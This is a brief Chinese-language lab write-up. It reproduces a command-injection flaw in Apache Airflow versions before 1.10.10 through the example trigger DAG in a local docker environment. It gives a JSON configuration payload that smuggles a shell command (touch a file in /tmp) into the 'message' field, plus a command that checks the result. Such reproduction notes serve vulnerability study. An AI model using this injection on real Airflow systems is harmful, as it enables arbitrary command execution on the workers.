漏洞描述
Apache Airflow 是一个开源的分布式任务调度框架。在 1.10.10 之前的版本中,示例 DAG 中存在一个命令注入漏洞,该漏洞导致攻击者在工作进程中执行任意命令。
漏洞环境及利用
搭建docker环境
访问8080端口,并打开标志:http://your-ip:8080
example_trigger_target_dag
单击右侧的“triger”按钮,然后输入带有构建有效负载的配置 JSON:{"message":"'\";touch /tmp/airflow_dag_success;#"}
这里遇到一个小问题,这里一直处于running状态,把这个开关打开就行了
sudo docker-compose exec airflow-worker ls -l /tmp